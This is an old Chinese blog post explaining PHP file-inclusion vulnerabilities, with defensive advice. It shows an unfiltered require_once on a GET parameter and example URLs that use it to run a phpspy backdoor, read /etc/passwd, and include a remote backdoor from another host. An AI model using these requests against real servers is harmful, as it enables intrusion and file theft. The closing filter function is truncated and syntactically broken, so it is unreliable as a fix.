2008年9月8日星期一

php文件包含漏洞总结

文件包含漏洞
文件包含类函数属于危险系数较大的函数,也是历年来各类PHP程序暴出漏洞最多的函数.函数调用的变量未过滤,就可以任意包含远程 或者本地文件,从而去执行文件中的PHP代码或者读出指定文件.在php代码中:include() require() include_once() require_once()的变量非常危险!
如下代码中的require_once()为危险函数:
$module_name=$_GET['module_name'];
require_once($module_name);
?>
phpspy的代码:2008.php,存放在本机的/tmp/2008.php,我就可以通过http://127.0.0.1/test.php?module_name=/tmp/2008.php,可以运行该后门。通过http://127.0.0.1/test.php?module_name=/etc/passwd可以读出passwd这类非php格式的文本文件。

由于php考虑到安全,默认是关闭远程url包含的,因此使用远程包含文件攻击在默认情况下是无效的。将php.ini中的allow_url_fopen = Off改成On后是可以实现远程攻击。方法为http://127.0.0.1/test.php?module_name=http://192.168.9.22/2008.php

解决方法参考:
主要针对出现问题的参数做处理,在参数传入变量前堵住漏洞.
针对数字型参数,可以直接使用intval()函数强制整形化,阻止参数中包含非数字的恶意内容.
针对字符型参数,必须通过专门的过滤函数阻止恶意内容.
CODE:
利用str_replace函数过滤掉能构造路径
所需的字符:
" \ " , " / " , " . " , ".. "
unction badchar($var){
$var = str_replace("..","",$var);
$var = str_replace(".","",$var);
$var = str_replace("/","",$var);
$var = str_replace("\","",$var);
$var = str_replace(" ","",$var);

没有评论: